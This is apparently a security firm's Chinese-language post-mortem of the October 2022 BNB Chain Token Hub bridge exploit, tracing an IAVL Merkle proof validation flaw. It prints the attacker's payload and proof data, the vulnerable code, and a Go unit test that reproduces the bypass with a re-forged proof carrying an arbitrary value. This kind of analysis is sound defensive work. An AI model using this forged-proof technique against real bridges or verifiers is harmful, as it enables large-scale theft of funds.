欧科云链链上卫士:BNBChain遭攻击事件深度解析

事件背景

北京时间2022年10月7日凌晨,BNB  Chian跨链桥BSC Token Hub遭遇攻击。黑客利用跨链桥漏洞分两次共获取200万枚BNB,价值约5.66亿美元。

漏洞分析

BSCTokenHub是BNB信标链(BEP2)和BNB链(BEP20 或 BSC)之间的跨链桥。BNB链使用预编译合约0x65验证BNB信标链提交的IAVL的Proof,但BNB链对提交的Proof边界情况处理不足,它仅考虑了Proof只有一个Leaf的场景,对多个Leaves的处理逻辑不够严谨。黑客构造了一个包含多Leaves的Proof数据,绕过BNBChain上的校验,从而在BNB链造成了BNB增发。

以其中一次攻击交易为例:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b

黑客构造输入数据payload和proof,输入参数通过validateMerkleProof校验,返回值为true。

欧科云链链上卫士:BNBChain遭攻击事件深度解析

在后续IApplication(handlerContract).handleSynPackage处理中,合约给黑客增发100万个BNB。

欧科云链链上卫士:BNBChain遭攻击事件深度解析

函数调用过程

交易首先调用CrossChain合约0x2000的handlePackage函数:

 function handlePackage(bytes calldata payload, bytes calldata proof, uint64 height, uint64 packageSequence, uint8 channelId) onlyInit onlyRelayer
     sequenceInOrder(packageSequence, channelId) blockSynced(height) channelSupported(channelId) external {
   bytes memory payloadLocal = payload; // fix error: stack too deep, try removing local variables
   bytes memory proofLocal = proof; // fix error: stack too deep, try removing local variables   require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height), STORE_NAME, generateKey(packageSequence, channelId), payloadLocal, proofLocal), "invalid merkle proof");
   address payable headerRelayer = ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);
   ... ...
   if (packageType == SYN_PACKAGE) {
     address handlerContract = channelHandlerContractMap[channelIdLocal];      tryIApplication(handlerContract).handleSynPackage(channelIdLocal, msgBytes) returns (bytes memory responsePayload) {  if (responsePayload.length!=0) {
         sendPackage(channelSendSequenceMap[channelIdLocal], channelIdLocal, encodePayload(ACK_PACKAGE, 0, responsePayload));
         channelSendSequenceMap[channelIdLocal] = channelSendSequenceMap[channelIdLocal] + 1;
       }
     }
     ... ...
   }
   ... ...
   IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer, msg.sender, relayFee, isRelayRewardFromSystemReward[channelIdLocal] || packageType != SYN_PACKAGE);
 }
 
输入参数
{
 "payload": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",
 "proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",
 "height": 110217401,
 "packageSequence": 17684572,
 "channelId": 2
}

handlePackage会进一步调用MerkleProof.validateMerkleProof对输入的proof进行校验:

//函数原型:
function validateMerkleProof(
   bytes32 appHash,
   string memory storeName,
   bytes memory key,
   bytes memory value,
   bytes memory proof)
//函数调用:
MerkleProof.validateMerkleProof(
   ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),
   STORE_NAME,
   generateKey(packageSequence, channelId),
   payloadLocal,
   proofLocal),
//调用参数:
{
 "appHash": "0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",
 "storeName": "ibc",
 "key": "0x00000100380200000000010dd85c",
 "value": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",
 "proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"
}

MerkleProof相关代码可以看到,实际的验证逻辑是使用预编译合约0x65完成:https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66

   uint256[1] memory result;
   /* solium-disable-next-line */
   assembly {
   // call validateMerkleProof precompile contract
   // Contract address: 0x65      ifiszero(staticcall(not(0), 0x65, input, length, result, 0x20)) {}
   }
   return result[0] == 0x01;

系统预编译合约0x65对应iavlMerkleProofValidate功能:https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81

系统合约0x65实现代码如下,主要逻辑为使用DecodeKeyValueMerkleProof解码输入参数,并调用Validate进行校验:https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106

func (c *iavlMerkleProofValidate) Run(input []byte) (result []byte, err error) {
   //return nil, fmt.Errorf("suspend")
   ... ...    kvmp, err := lightclient.DecodeKeyValueMerkleProof(input[precompileContractInputMetaDataLength:])if err != nil {
           return nil, err
   }    valid := kvmp.Validate()if !valid {
           return nil, fmt.Errorf("invalid merkle proof")
   }
   result = make([]byte, merkleProofValidateResultLength)
   binary.BigEndian.PutUint64(result[merkleProofValidateResultLength-uint64TypeLength:], 0x01)
   return result, nil
}

其中kvmp.Validate()实现代码如下:https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234

func (kvmp *KeyValueMerkleProof) Validate() bool {    prt := DefaultProofRuntime()
   kp := merkle.KeyPath{}
   kp = kp.AppendKey([]byte(kvmp.StoreName), merkle.KeyEncodingURL)
   kp = kp.AppendKey(kvmp.Key, merkle.KeyEncodingURL)
   if len(kvmp.Value) == 0 {
       err := prt.VerifyAbsence(kvmp.Proof, kvmp.AppHash, kp.String())
       return err == nil
   }
   err := prt.VerifyValue(kvmp.Proof, kvmp.AppHash, kp.String(), kvmp.Value)
   return err == nil
}

DefaultProofRuntime构造函数使用IAVL库进行Proof的验证:

import (
   "bytes"
   "fmt"
   "github.com/tendermint/iavl"
   "github.com/tendermint/tendermint/crypto/merkle"
   cmn "github.com/tendermint/tendermint/libs/common"
)
... ...
func DefaultProofRuntime() (prt *merkle.ProofRuntime) {
   prt = merkle.NewProofRuntime()
   prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder)
   prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder)
   prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder)
   prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder)
   return
}IAVL代码问题

IAVL的Proof校验过程中,Hash计算存在漏洞,导致黑客可以在Proof添加数据,但计算Hash时并没有用到添加的数据。详细分析如下:

在len(pin.Left)不为0的分支中,计算Hash并没有使用pin.Right数据。黑客利用该处漏洞构造数据,添加proof.LeftPath[1].Right数据,但是该数据并不参与Hash计算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93

func (pin ProofInnerNode) Hash(childHash []byte) ([]byte, error) {
       hasher := sha256.New()
       buf := bufPool.Get().(*bytes.Buffer)
       buf.Reset()
       defer bufPool.Put(buf)
       err := encoding.EncodeVarint(buf, int64(pin.Height))
       if err == nil {
               err = encoding.EncodeVarint(buf, pin.Size)
       }
       if err == nil {
               err = encoding.EncodeVarint(buf, pin.Version)
       }iflen(pin.Left) == 0 {if err == nil {                        err = encoding.EncodeBytes(buf, childHash)                }if err == nil {                        err = encoding.EncodeBytes(buf, pin.Right)                }        } else {if err == nil {                        err = encoding.EncodeBytes(buf, pin.Left)                }if err == nil {                        err = encoding.EncodeBytes(buf, childHash)                }        }
       if err != nil {
               return nil, fmt.Errorf("failed to hash ProofInnerNode: %v", err)
       }
       _, err = hasher.Write(buf.Bytes())
       if err != nil {
               return nil, err
       }
       return hasher.Sum(nil), nil
}

根据上述分析,正常数据组织结构如下,proof.LeftPath[1].Right为空值,计算得到正确的Hash。

proof.LeftPath = len(2)

proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left是一个正常数据,proof.LeftPath[1].Right空值

proof.InnerNodes = len(0)

proof.Leaves = len(1),proof.Leaves[0]是一个正常数据

黑客构造攻击数据结构如下,添加proof.LeftPath[1].Right数据,且该数据不参与Hash计算。

proof.LeftPath = len(2)

proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left是一个正常数据,proof.LeftPath[1].Right是一个伪造数据

proof.InnerNodes = len(1), InnerNodes[0]=nil

proof.Leaves = len(2),proof.Leaves[0]是一个正常数据,proof.Leaves[1]是一个伪造数据

且proof.LeftPath[1].Right = COMPUTEHASH(proof.Leaves[1])

IAVL的Proof校验代码如下,主体逻辑为COMPUTEHASH递归调用。由于lpath.Right也为黑客输入数据,使得黑客构造的数据能够通过bytes.Equal(derivedRoot, lpath.Right)的校验,并返回上一轮COMPUTEHASH通过proof.Leaves[0]计算的结果,该结果为正常数值,从而绕过了IAVL的Proof校验。

https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309

func (proof *RangeProof) _computeRootHash() (rootHash []byte, treeEnd bool, err error) {
  ...
   var COMPUTEHASH func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error)
   // rightmost: is the root a rightmost child of the tree?
   // treeEnd: true iff the last leaf is the last item of the tree.
   // Returns the (possibly intermediate, possibly root) hash.
   COMPUTEHASH = func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error) {
           // Pop next leaf.
           nleaf, rleaves := leaves[0], leaves[1:]
           leaves = rleaves
           // Compute hash.
           hash, err = (pathWithLeaf{
                   Path: path,
                   Leaf: nleaf,
           }).computeRootHash()
           if err != nil {
                   return nil, treeEnd, false, err
           }
           // If we don't have any leaves left, we're done.
           if len(leaves) == 0 {
                   rightmost = rightmost && path.isRightmost()
                   return hash, rightmost, true, nil
           }
           // Prove along path (until we run out of leaves).
           for len(path) > 0 {
                   // Drop the leaf-most (last-most) inner nodes from path
                   // until we encounter one with a left hash.
                   // We assume that the left side is already verified.
                   // rpath: rest of path
                   // lpath: last path item
                   rpath, lpath := path[:len(path)-1], path[len(path)-1]
                   path = rpath
                   if len(lpath.Right) == 0 {
                           continue
                   }
                   // Pop next inners, a PathToLeaf (e.g. []ProofInnerNode).
                   inners, rinnersq := innersq[0], innersq[1:]
                   innersq = rinnersq
                   // Recursively verify inners against remaining leaves.
                   derivedRoot, treeEnd, done, err := COMPUTEHASH(inners, rightmost && rpath.isRightmost())
                   if err != nil {
                           return nil, treeEnd, false, errors.Wrap(err, "recursive COMPUTEHASH call")
                   }                    if !bytes.Equal(derivedRoot, lpath.Right) {return nil, treeEnd, false, errors.Wrapf(ErrInvalidRoot, "intermediate root hash %X doesn't match, got %X", lpath.Right, derivedRoot)                    }if done {return hash, treeEnd, true, nil                    }
           }
           // We're not done yet (leaves left over). No error, not done either.
           // Technically if rightmost, we know there's an error "left over leaves
           // -- malformed proof", but we return that at the top level, below.
           return hash, false, false, nil
   }
   // Verify!
   path := proof.LeftPath
   rootHash, treeEnd, done, err := COMPUTEHASH(path, true)
   if err != nil {
           return nil, treeEnd, errors.Wrap(err, "root COMPUTEHASH call")
   } else if !done {
           return nil, treeEnd, errors.Wrap(ErrInvalidProof, "left over leaves -- malformed proof")
   }
   // Ok!
   return rootHash, treeEnd, nil
}

黑客攻击构造的数据中,包括了IAVL:V和multistore相关数据,multistore数据也是基于IAVL进行操作,原理是一样的,不再进行详细分析。

这次IAVL Proof暴露的问题在于,数据局部的变化无法反应到整体,使得校验发生错误。在Cosmos生态中,IBC使用 ICS23来做数据的校验处理,ICS23与IAVL Proof校验不同点在于,ICS23会对所有的“叶子节点”的值进行数据校验,最后计算得出的根Hash再与链上数据进行校验,OKC采用的是ICS23的Prove,因此不存在BNBChain这次遇到的安全漏洞。

测试验证代码

利用黑客攻击交易数据,基于BNBChain单元测试代码,增加了基于黑客攻击交易的测试用例,可以完整复现黑客的攻击交易。单元测试代码利用iavlMerkleProofValidate.Run接口验证输入数据,即相当于调用预编译合约。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100

iavlMerkleProofValidateContract := iavlMerkleProofValidate{}
success, err := iavlMerkleProofValidateContract.Run(input)

利用黑客攻击交易数据,构造新的payload数据为value := []byte(“okc test hack”),并对proof相应数据进行了修改,即修改proof.LeftPath[1].Right和proof.Leaves[1]对应的数据,新构造的数据可以通过okcIavlMerkleProofValidate校验,即修改了黑客数据也能通过校验。另外,如下单元测试代码对原始黑客数据和修改后的数据两种case都进行了校验,且校验都能成功,从而说明如下测试代码利用本文所述漏洞成功进行了复现。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958

func TestTmHeaderValidateAndMerkleProofValidateTest(t *testing.T) {
       testCases := []struct {
               name  string
               value []byte
               proof []byte
   }{
       {
           //data source https://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
           "hack data",
           func() []byte {
                   value, err := hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")
                   require.NoError(t, err)
                   return value
           }(),
           func() []byte {
                   proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")
                   require.NoError(t, err)
                   return proofBytes
           }(),
       },
       {
           "okc test data",
           func() []byte {
                   value := []byte("okc test hack")
                   return value
           }(),
           func() []byte {
                   proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")
                   require.NoError(t, err)
                   return proofBytes
           }(),
       },
   }
   for _, tc := range testCases {
       okcIavlMerkleProofValidate(tc.value, tc.proof, t)
   }
}
func okcIavlMerkleProofValidate(value, proofBytes []byte, t *testing.T) {
   key, err := hex.DecodeString("00000100380200000000010dd85c") // this equal to generateKey(17684572,2)
   require.NoError(t, err)
   newAppHash, err := hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318") // this is got by hack data
   require.NoError(t, err)
   merkleProofInput := make([]byte, 32+32+len(key)+32+len(value)+32+len(proofBytes))
   copy(merkleProofInput[:32], "ibc")
   binary.BigEndian.PutUint64(merkleProofInput[32+24:32+32], uint64(len(key)))
   copy(merkleProofInput[32+32:32+32+len(key)], key)
   binary.BigEndian.PutUint64(merkleProofInput[32+32+len(key)+24:32+32+len(key)+32], uint64(len(value)))
   copy(merkleProofInput[32+32+len(key)+32:32+32+len(key)+32+len(value)], value)
   copy(merkleProofInput[32+32+len(key)+32+len(value):32+32+len(key)+32+len(value)+32], newAppHash)
   copy(merkleProofInput[32+32+len(key)+32+len(value)+32:], proofBytes)
   totalLengthPrefix := make([]byte, 32)
   binary.BigEndian.PutUint64(totalLengthPrefix[0:8], 0)
   binary.BigEndian.PutUint64(totalLengthPrefix[8:16], 0)
   binary.BigEndian.PutUint64(totalLengthPrefix[16:24], 0)
   binary.BigEndian.PutUint64(totalLengthPrefix[24:], uint64(len(merkleProofInput)))
   input := append(totalLengthPrefix, merkleProofInput...)
   iavlMerkleProofValidateContract := iavlMerkleProofValidate{}
   success, err := iavlMerkleProofValidateContract.Run(input)
   require.NoError(t, err, err)
   expectedResult := make([]byte, 32)
   binary.BigEndian.PutUint64(expectedResult[24:], 0x01)
   require.Equal(t, expectedResult, success)
}

事件过程

被攻击全过程可查看上一篇文章:链上卫士:BNBChain 遭攻击时间轴梳理。OKLink多链浏览器已对BNB Chain黑客地址进行风险标签标记(标记为“Hack”),关于此次被盗后续,链上卫士团队将进一步追踪案件细节并及时同步。

如有疑问联系邮箱:
*本文转载自网络转载,版权归原作者所有。本站只是转载分享,不代表赞同其中观点。请自行判断风险,本文不构成投资建议。*